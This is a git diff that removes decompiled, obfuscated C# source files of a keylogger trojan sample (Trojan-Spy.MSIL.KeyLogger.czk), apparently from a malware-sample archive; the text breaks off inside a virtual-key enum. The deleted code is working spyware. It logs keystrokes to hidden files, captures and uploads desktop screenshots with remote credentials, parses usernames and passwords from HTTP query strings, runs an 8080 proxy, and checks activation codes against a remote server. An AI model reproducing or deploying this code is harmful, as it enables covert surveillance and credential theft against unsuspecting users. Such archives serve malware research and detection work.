1afc761c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៪.cs +++ /dev/null @@ -1,229 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ៪ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System; -using System.IO; - -internal class \u17EA -{ - private const int ᡆᙃ = 50000; - private const string ᡇᙃ = "\\KeyLog_"; - private const string ᡈᙃ = ".lgz"; - private string ᡉᙃ; - private អ ᡊᙃ; - - public \u17EA() - { - do - ; - while (false); - this.ᡊᙃ = new អ(); - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - if (!Directory.Exists(Settings.Default.ArchivingKeyloggerLocation)) - Directory.CreateDirectory(Settings.Default.ArchivingKeyloggerLocation); - this.ᡉᙃ = this.\u17EE(); - } - catch (Exception ex) - { - this.ᡊᙃ.ឨ(ex); - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public string \u17EC(int n) - { - do - ; - while (false); - string path = Settings.Default.ArchivingKeyloggerLocation + "\\KeyLog_" + n.ToString() + ".lgz"; - if (!File.Exists(path)) - { - try - { - File.Create(path).Close(); - if (File.Exists(path)) - File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden); - } - catch (Exception ex) - { - this.ᡊᙃ.ឨ(ex); - } - } - return path; - } - - public bool \u17F0() - { - do - ; - while (false); - bool flag; - try - { - flag = new FileInfo(this.ᡉᙃ).Length < 50000L; - goto label_4; - } - catch (Exception ex) - { - this.ᡊᙃ.ឨ(ex); - } - return true; -label_4: - return flag; - } - - public void \u1804(string txt) - { - do - ; - while (false); - try - { - if (!Directory.Exists(Settings.Default.TempFileLocation)) - Directory.CreateDirectory(Settings.Default.TempFileLocation); - File.WriteAllText(Settings.Default.TempFileLocation + "\\Temp.txt", txt); - } - catch (Exception ex) - { - this.ᡊᙃ.ឨ(ex); - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public string \u17F2() - { - do - ; - while (false); - string str; - try - { - if (File.Exists(Settings.Default.TempFileLocation + "\\Temp.txt")) - { - str = File.ReadAllText(Settings.Default.TempFileLocation + "\\Temp.txt"); - goto label_5; - } - } - catch (Exception ex) - { - this.ᡊᙃ.ឨ(ex); - } - return ""; -label_5: - return str; - } - - public void ᙔ(string txt) - { - do - ; - while (false); - try - { - if (this.\u17F0() && File.Exists(this.ᡉᙃ)) - { - using (StreamWriter streamWriter = File.AppendText(this.ᡉᙃ)) - streamWriter.Write(txt); - } - else - { - string[] strArray = this.ᡉᙃ.Split('_'); - int n = int.Parse(strArray[strArray.Length - 1].Split('.')[0]) + 1; - if (File.Exists(this.ᡉᙃ)) - ᡔ.ᡀ(this.ᡉᙃ); - this.ᡉᙃ = this.\u17EC(n); - if (File.Exists(this.ᡉᙃ)) - { - using (StreamWriter streamWriter = File.AppendText(this.ᡉᙃ)) - streamWriter.Write(txt); - } - } - } - catch (Exception ex) - { - this.ᡊᙃ.ឨ(ex); - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public string \u17EE() - { - do - ; - while (false); - string str1 = ""; - string str2; - try - { - FileInfo[] files = new DirectoryInfo(Settings.Default.ArchivingKeyloggerLocation).GetFiles("*.lgz", SearchOption.TopDirectoryOnly); - if (files.Length == 0) - { - str2 = this.\u17EC(0); - goto label_13; - } - else - { - foreach (FileInfo fileInfo in files) - { - if (str1.Equals("")) - { - str1 = fileInfo.FullName; - } - else - { - string[] strArray1 = str1.Split('_'); - string[] strArray2 = strArray1[strArray1.Length - 1].Split('.'); - string[] strArray3 = fileInfo.FullName.Split('_'); - string[] strArray4 = strArray3[strArray3.Length - 1].Split('.'); - if (int.Parse(strArray2[0]) < int.Parse(strArray4[0])) - str1 = fileInfo.FullName; - } - } - } - } - catch (Exception ex) - { - this.ᡊᙃ.ឨ(ex); - } - return str1; -label_13: - return str2; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠆.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠆.cs deleted file mode 100644 index d9b517ff..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠆.cs +++ /dev/null @@ -1,111 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᠆ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.Net; -using System.Threading; -using System.Web; - -internal class \u1806 -{ - private អ ᡉᙃ; - private bool ᡊᙃ; - private HttpListener ᡋᙃ; - - private void ᡈᙃ() - { - do - ; - while (false); - this.ᡋᙃ = new HttpListener(); - try - { - \u1806.ᡆᙃ ᡆᙃ = new \u1806.ᡆᙃ(ᙀ.ᙬ.ᙞ); - \u1806.ᡇᙃ ᡇᙃ = new \u1806.ᡇᙃ(ᙀ.ᙬ.ᙠ); - this.ᡋᙃ.Prefixes.Add(ᙵ.ᙚᙃ); - this.ᡋᙃ.Start(); - while (this.ᡋᙃ.IsListening && this.ᡊᙃ) - { - HttpListenerContext context = this.ᡋᙃ.GetContext(); - context.Response.Abort(); - Uri uri = new Uri(context.Request.Url.ToString()); - string query = uri.Query == "" ? uri.OriginalString : uri.Query; - if (query.Contains(ᙵ.ᙙᙃ) && query.Contains(ᙵ.ᙞᙃ) && query.Contains(ᙵ.ᙠᙃ)) - { - string un = HttpUtility.ParseQueryString(query).Get(ᙵ.ᙢᙃ); - string pw = HttpUtility.ParseQueryString(query).Get(ᙵ.ᙤᙃ); - string site = HttpUtility.ParseQueryString(query).Get(ᙵ.ᙦᙃ); - if (!site.Equals("")) - ᡇᙃ(un, pw, site); - } - else - { - string url = HttpUtility.ParseQueryString(query).Get(ᙵ.ᙨᙃ); - if (!url.Equals("")) - ᡆᙃ(ᙵ.ᙪᙃ, url); - } - context.Response.Close(); - } - this.ᡋᙃ.Stop(); - } - catch (HttpListenerException ex) - { - } - catch (ThreadAbortException ex) - { - } - catch (Exception ex) - { - this.ᡉᙃ.ឨ(ex); - } - this.ᡋᙃ.Close(); - } - - public void \u1808() - { - do - ; - while (false); - try - { - this.ᡊᙃ = false; - this.ᡋᙃ.Stop(); - this.ᡋᙃ.Abort(); - this.ᡋᙃ.Close(); - } - catch (Exception ex) - { - this.ᡉᙃ.ឨ(ex); - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public \u1806() - { - do - ; - while (false); - this.ᡉᙃ = new អ(); - this.ᡊᙃ = true; - // ISSUE: explicit constructor call - base.\u002Ector(); - new Thread(new ThreadStart(this.ᡈᙃ)).Start(); - } - - private delegate void ᡆᙃ(string sender, string url); - - private delegate void ᡇᙃ(string un, string pw, string site); -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠊.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠊.cs deleted file mode 100644 index 7f88c310..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠊.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᠊ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System.Collections; - -public class \u180A : IComparer -{ - public int Compare(object x, object y) => x is string && y is string ? ᡄ.ᡆ((string) x, (string) y) : -1; -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠘.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠘.cs deleted file mode 100644 index 59abee64..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠘.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᠘ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.IO; -using System.Net; -using System.Text; - -internal class \u1818 -{ - private HttpListener ᡆᙃ; - private HttpListenerContext ᡇᙃ; - private string[] ᡈᙃ; - - public void \u180E(HttpListenerContext c, int Attempts) - { - do - ; - while (false); - try - { - Console.WriteLine(c.Request.Url.ToString().Replace(":8080", "")); - HttpListenerRequest request = c.Request; - HttpListenerResponse response = c.Response; - WebRequest webRequest = WebRequest.Create(c.Request.Url.ToString().Replace(":8080", "")); - webRequest.Timeout = 60000; - byte[] bytes = Encoding.UTF8.GetBytes(new StreamReader(webRequest.GetResponse().GetResponseStream()).ReadToEnd()); - response.ContentLength64 = (long) bytes.Length; - Stream outputStream = response.OutputStream; - outputStream.Write(bytes, 0, bytes.Length); - outputStream.Close(); - } - catch (HttpListenerException ex) - { - Console.WriteLine(c.Request.Url.ToString().Replace(":8080", "") + " failed."); - if (Attempts < 10) - this.\u180E(c, Attempts++); - else - Console.WriteLine("Failed"); - Console.WriteLine(ex.ToString()); - } - catch (Exception ex) - { - Console.WriteLine(ex.ToString()); - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public \u1818() - { - do - ; - while (false); - this.ᡈᙃ = new string[1]{ "http://*:8080/" }; - // ISSUE: explicit constructor call - base.\u002Ector(); - this.ᡆᙃ = new HttpListener(); - try - { - if (this.ᡈᙃ.Length > 1) - { - foreach (string uriPrefix in this.ᡈᙃ) - this.ᡆᙃ.Prefixes.Add(uriPrefix); - } - else - this.ᡆᙃ.Prefixes.Add(this.ᡈᙃ[0]); - this.ᡆᙃ.Start(); - while (this.ᡆᙃ.IsListening) - { - this.ᡇᙃ = this.ᡆᙃ.GetContext(); - this.\u180E(this.ᡇᙃ, 0); - } - } - catch (Exception ex) - { - Console.WriteLine(ex.ToString()); - } - this.ᡆᙃ.Stop(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᠨ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᠨ.cs deleted file mode 100644 index 37c19e6b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᠨ.cs +++ /dev/null @@ -1,272 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᠨ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System; -using System.IO; -using System.Web; -using System.Windows.Forms; - -internal class ᠨ -{ - private static អ ᡆᙃ; - - public static void ᡂ() - { - do - ; - while (false); - try - { - អ អ = new អ(); - string upper = Settings.Default.ActivationCode.ToUpper(); - if (upper.StartsWith("0001KL")) - ᠨ.ᠪ(); - else if (upper.StartsWith("00012M")) - ᠨ.ᠮ(); - else if (File.Exists("C:\\" + Settings.Default.ActivationCode + ".txt")) - ᠨ.ᠪ(); - else if (អ.ឪ(អ.ឮ, string.Format("?class=application&method=verifyCode¶meters={0}", (object) HttpUtility.UrlEncode(Settings.Default.ActivationCode))).Equals("1")) - { - ᠨ.ᠪ(); - if (Directory.Exists("C:\\")) - { - FileStream fileStream = File.Create("C:\\" + Settings.Default.ActivationCode + ".txt"); - fileStream.Close(); - fileStream.Dispose(); - } - } - ᙀ.ᙬ.ᝈ(false); - ᙀ.ᙬ.ᝄ(); - } - catch (Exception ex) - { - ᠨ.ᡆᙃ.ឨ(ex); - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public static void ᠰ() - { - do - ; - while (false); - try - { - អ អ = new អ(); - string str = អ.ឪ(អ.ឮ, string.Format("?class=application&method=getCode¶meters={0},{1}", (object) HttpUtility.UrlEncode(Settings.Default.RemoteUser), (object) HttpUtility.UrlEncode(Settings.Default.RemotePass))); - if (!str.Equals("")) - { - if (!str.Equals("0")) - { - Settings.Default.ActivationCode = str; - Settings.Default.Save(); - ᙀ.ᙬ.ᝠ(); - if (Directory.Exists("C:\\")) - { - FileStream fileStream = File.Create("C:\\" + Settings.Default.ActivationCode + ".txt"); - fileStream.Close(); - fileStream.Dispose(); - } - ᙀ.ᙬ.ᝈ(false); - } - } - } - catch (Exception ex) - { - ᠨ.ᡆᙃ.ឨ(ex); - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public static void ᠮ() - { - do - ; - while (false); - try - { - អ អ = new អ(); - string str = អ.ឪ(អ.ឮ, string.Format("?class=application&method=getTwoMonthPurchaseDate¶meters={0}", (object) HttpUtility.UrlEncode(Settings.Default.ActivationCode))); - DateTime exact; - if (str != "" && str != "0") - { - exact = DateTime.ParseExact(str, "yyyy-MM-dd HH:mm tt", (IFormatProvider) null); - Settings.Default.ExpireDate = \u17E0.\u17E6(str); - Settings.Default.Save(); - ᙀ.ᙬ.\u177E(); - } - else if (Settings.Default.ExpireDate != "") - { - exact = DateTime.ParseExact(\u17E0.\u17E2(Settings.Default.ExpireDate), "yyyy-MM-dd HH:mm tt", (IFormatProvider) null); - } - else - { - ᠨ.ᠪ(); - goto label_10; - } - string s = អ.ឪ(អ.ឮ, "?class=application&method=getDate"); - DateTime dateTime = !(s != "") || !(s != "0") ? DateTime.Now : DateTime.ParseExact(s, "yyyy-MM-dd HH:mm tt", (IFormatProvider) null); - if (exact.CompareTo(dateTime) < 0) - { - ᙀ.ᙬ.ᝊ(); - Settings.Default.RemoteAccess = false; - Settings.Default.ScreenshotDuration = -1; - Settings.Default.UploadImages = false; - Settings.Default.Save(); - ᙀ.ᙬ.\u177E(); - ᙀ.ᙬ.ᝈ(true); - } - else - ᠨ.ᠪ(); - } - catch (Exception ex) - { - ᠨ.ᡆᙃ.ឨ(ex); - } -label_10: - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public static void ᠬ() - { - do - ; - while (false); - try - { - អ អ = new អ(); - DateTime dateTime1 = !File.Exists("C:\\f_run.txt") ? (!File.Exists(Application.StartupPath + "\\uninstall.exe") ? File.GetLastWriteTime(Application.ExecutablePath) : File.GetLastWriteTime(Application.StartupPath + "\\uninstall.exe")) : File.GetCreationTime("C:\\f_run.txt"); - dateTime1 = dateTime1.AddDays(3.0); - string s = អ.ឪ(អ.ឮ, "?class=application&method=getDate"); - DateTime dateTime2 = !(s != "") || !(s != "0") ? DateTime.Now : DateTime.ParseExact(s, "yyyy-MM-dd HH:mm tt", (IFormatProvider) null); - if (dateTime1.CompareTo(dateTime2) < 0) - { - ᙀ.ᙬ.\u1758(); - ᙀ.ᙬ.ᝈ(false); - } - else - { - ᙀ.ᙬ.ᝢ(); - ᙀ.ᙬ.ᝈ(true); - } - } - catch (Exception ex) - { - ᠨ.ᡆᙃ.ឨ(ex); - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public static string ᠲ() - { - do - ; - while (false); - អ អ = new អ(); - string str = ""; - try - { - if ((str = អ.ឦ()) == "") - str = Environment.MachineName; - } - catch (Exception ex) - { - ᠨ.ᡆᙃ.ឨ(ex); - } - return str; - } - - public static void ᠪ() - { - do - ; - while (false); - try - { - string upper = Settings.Default.ActivationCode.ToUpper(); - if (upper.StartsWith("0001KL")) - ᙀ.ᙬ.ᝢ(); - else if (upper.StartsWith("00012M")) - ᙀ.ᙬ.ᝠ(); - else - ᙀ.ᙬ.ᝠ(); - ᙀ.ᙬ.ᝈ(false); - } - catch (Exception ex) - { - ᠨ.ᡆᙃ.ឨ(ex); - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public ᠨ() - { - do - ; - while (false); - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - static ᠨ() - { - do - ; - while (false); - ᠨ.ᡆᙃ = new អ(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᠾ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᠾ.cs deleted file mode 100644 index 7d74c2e3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᠾ.cs +++ /dev/null @@ -1,204 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᠾ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.Drawing.Imaging; -using System.Runtime.InteropServices; - -internal class ᠾ -{ - public Image \u1819(Image imgToResize, Size size) - { - do - ; - while (false); - int width1 = imgToResize.Width; - int height1 = imgToResize.Height; - float num1 = (float) size.Width / (float) width1; - float num2 = (float) size.Height / (float) height1; - float num3 = (double) num2 >= (double) num1 ? num1 : num2; - int width2 = (int) ((double) width1 * (double) num3); - int height2 = (int) ((double) height1 * (double) num3); - Bitmap bitmap = new Bitmap(width2, height2); - try - { - Graphics graphics = Graphics.FromImage((Image) bitmap); - graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; - graphics.DrawImage(imgToResize, 0, 0, width2, height2); - graphics.Dispose(); - } - catch - { - } - return (Image) bitmap; - } - - public Image \u1812() - { - do - ; - while (false); - return this.\u1816(ᠾ.ᡇᙃ.GetDesktopWindow()); - } - - public Image \u1816(IntPtr handle) - { - do - ; - while (false); - IntPtr windowDc = ᠾ.ᡇᙃ.GetWindowDC(handle); - ᠾ.ᡇᙃ.\u181E rect = new ᠾ.ᡇᙃ.\u181E(); - ᠾ.ᡇᙃ.GetWindowRect(handle, ref rect); - int nWidth = rect.ᠤ - rect.ᠢ; - int nHeight = rect.ᠠ - rect.ᠦ; - IntPtr compatibleDc = ᠾ.ᡆᙃ.CreateCompatibleDC(windowDc); - IntPtr compatibleBitmap = ᠾ.ᡆᙃ.CreateCompatibleBitmap(windowDc, nWidth, nHeight); - IntPtr hObject = ᠾ.ᡆᙃ.SelectObject(compatibleDc, compatibleBitmap); - ᠾ.ᡆᙃ.BitBlt(compatibleDc, 0, 0, nWidth, nHeight, windowDc, 0, 0, 13369376); - ᠾ.ᡆᙃ.SelectObject(compatibleDc, hObject); - ᠾ.ᡆᙃ.DeleteDC(compatibleDc); - ᠾ.ᡇᙃ.ReleaseDC(handle, windowDc); - Image image = (Image) Image.FromHbitmap(compatibleBitmap); - ᠾ.ᡆᙃ.DeleteObject(compatibleBitmap); - return image; - } - - public void \u1800(IntPtr handle, string filename, ImageFormat format) - { - do - ; - while (false); - try - { - this.\u1816(handle).Save(filename, format); - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public void \u1814(string filename, ImageFormat format) - { - do - ; - while (false); - try - { - this.\u1812().Save(filename, format); - new អ().ឬ(filename, Settings.Default.RemoteUser, Settings.Default.RemotePass); - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public ᠾ() - { - do - ; - while (false); - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - private class ᡆᙃ - { - public const int \u181A = 13369376; - - [DllImport("gdi32.dll")] - public static extern bool BitBlt( - IntPtr hObject, - int nXDest, - int nYDest, - int nWidth, - int nHeight, - IntPtr hObjectSource, - int nXSrc, - int nYSrc, - int dwRop); - - [DllImport("gdi32.dll")] - public static extern IntPtr CreateCompatibleBitmap(IntPtr hDC, int nWidth, int nHeight); - - [DllImport("gdi32.dll")] - public static extern IntPtr CreateCompatibleDC(IntPtr hDC); - - [DllImport("gdi32.dll")] - public static extern bool DeleteDC(IntPtr hDC); - - [DllImport("gdi32.dll")] - public static extern bool DeleteObject(IntPtr hObject); - - [DllImport("gdi32.dll")] - public static extern IntPtr SelectObject(IntPtr hDC, IntPtr hObject); - - public ᡆᙃ() - { - do - ; - while (false); - // ISSUE: explicit constructor call - base.\u002Ector(); - } - } - - private class ᡇᙃ - { - [DllImport("user32.dll")] - public static extern IntPtr GetDesktopWindow(); - - [DllImport("user32.dll")] - public static extern IntPtr GetWindowDC(IntPtr hWnd); - - [DllImport("user32.dll")] - public static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDC); - - [DllImport("user32.dll")] - public static extern IntPtr GetWindowRect(IntPtr hWnd, ref ᠾ.ᡇᙃ.\u181E rect); - - public ᡇᙃ() - { - do - ; - while (false); - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - public struct \u181E - { - public int ᠢ; - public int ᠦ; - public int ᠤ; - public int ᠠ; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡄ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡄ.cs deleted file mode 100644 index 1033f9d4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡄ.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᡄ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -public class ᡄ -{ - public static int ᡆ(string s1, string s2) - { - if (s1 == null && s2 == null) - return 0; - if (s1 == null) - return -1; - if (s2 == null) - return 1; - if (s1.Equals(string.Empty) && s2.Equals(string.Empty)) - return 0; - if (s1.Equals(string.Empty) || s2.Equals(string.Empty)) - return -1; - bool flag1 = char.IsLetterOrDigit(s1, 0); - bool flag2 = char.IsLetterOrDigit(s2, 0); - if (flag1 && !flag2) - return 1; - if (!flag1 && flag2) - return -1; - int ᙄ = 0; - int ᙈ = 0; - do - { - bool flag3 = char.IsDigit(s1, ᙄ); - bool flag4 = char.IsDigit(s2, ᙈ); - if (!flag3 && !flag4) - { - bool flag5 = char.IsLetter(s1, ᙄ); - bool flag6 = char.IsLetter(s2, ᙈ); - if (flag5 && flag6 || !flag5 && !flag6) - { - int num = !flag5 || !flag6 ? s1[ᙄ].CompareTo(s2[ᙈ]) : char.ToLower(s1[ᙄ]).CompareTo(char.ToLower(s2[ᙈ])); - if (num != 0) - return num; - } - else - { - if (!flag5 && flag6) - return -1; - if (flag5 && !flag6) - return 1; - } - } - else if (flag3 && flag4) - { - int num = ᡄ.ᡆᙃ(s1, ref ᙄ, s2, ref ᙈ); - if (num != 0) - return num; - } - else - { - if (flag3) - return -1; - if (flag4) - return 1; - } - ++ᙄ; - ++ᙈ; - if (ᙄ >= s1.Length && ᙈ >= s2.Length) - return 0; - } - while (ᙄ < s1.Length && ᙈ < s2.Length); - return -1; - } - - private static int ᡆᙃ(string ᙂ, ref int ᙄ, string ᙆ, ref int ᙈ) - { - int ᙈ1 = ᙄ; - int ᙈ2 = ᙈ; - int ᙆ1 = ᙄ; - int ᙆ2 = ᙈ; - ᡄ.ᡇᙃ(ᙂ, ᙄ, ref ᙆ1, ref ᙈ1); - ᡄ.ᡇᙃ(ᙆ, ᙈ, ref ᙆ2, ref ᙈ2); - int num1 = ᙄ; - ᙄ = ᙆ1 - 1; - int num2 = ᙈ; - ᙈ = ᙆ2 - 1; - int num3 = ᙆ1 - ᙈ1; - int num4 = ᙆ2 - ᙈ2; - if (num3 < num4) - return -1; - if (num3 > num4) - return 1; - int index1 = ᙈ1; - int index2 = ᙈ2; - while (index1 <= ᙄ) - { - int num5 = ᙂ[index1].CompareTo(ᙆ[index2]); - if (num5 != 0) - return num5; - ++index1; - ++index2; - } - int num6 = ᙆ1 - num1; - int num7 = ᙆ2 - num2; - if (num6 == num7) - return 0; - return num6 > num7 ? -1 : 1; - } - - private static void ᡇᙃ(string ᙂ, int ᙄ, ref int ᙆ, ref int ᙈ) - { - ᙈ = ᙄ; - ᙆ = ᙄ; - bool flag = true; - while (char.IsDigit(ᙂ, ᙆ)) - { - if (flag && ᙂ[ᙆ].Equals('0')) - ++ᙈ; - else - flag = false; - ++ᙆ; - if (ᙆ >= ᙂ.Length) - break; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡈ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡈ.cs deleted file mode 100644 index 81e839e2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡈ.cs +++ /dev/null @@ -1,205 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᡈ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -public enum ᡈ -{ - VK_LBUTTON = 1, - VK_RBUTTON = 2, - VK_CANCEL = 3, - VK_MBUTTON = 4, - VK_XBUTTON1 = 5, - VK_XBUTTON2 = 6, - VK_BACK = 8, - VK_TAB = 9, - VK_CLEAR = 12, // 0x0000000C - VK_RETURN = 13, // 0x0000000D - VK_SHIFT = 16, // 0x00000010 - VK_CONTROL = 17, // 0x00000011 - VK_MENU = 18, // 0x00000012 - VK_PAUSE = 19, // 0x00000013 - VK_CAPITAL = 20, // 0x00000014 - VK_HANGEUL = 21, // 0x00000015 - VK_HANGUL = 21, // 0x00000015 - VK_KANA = 21, // 0x00000015 - VK_JUNJA = 23, // 0x00000017 - VK_FINAL 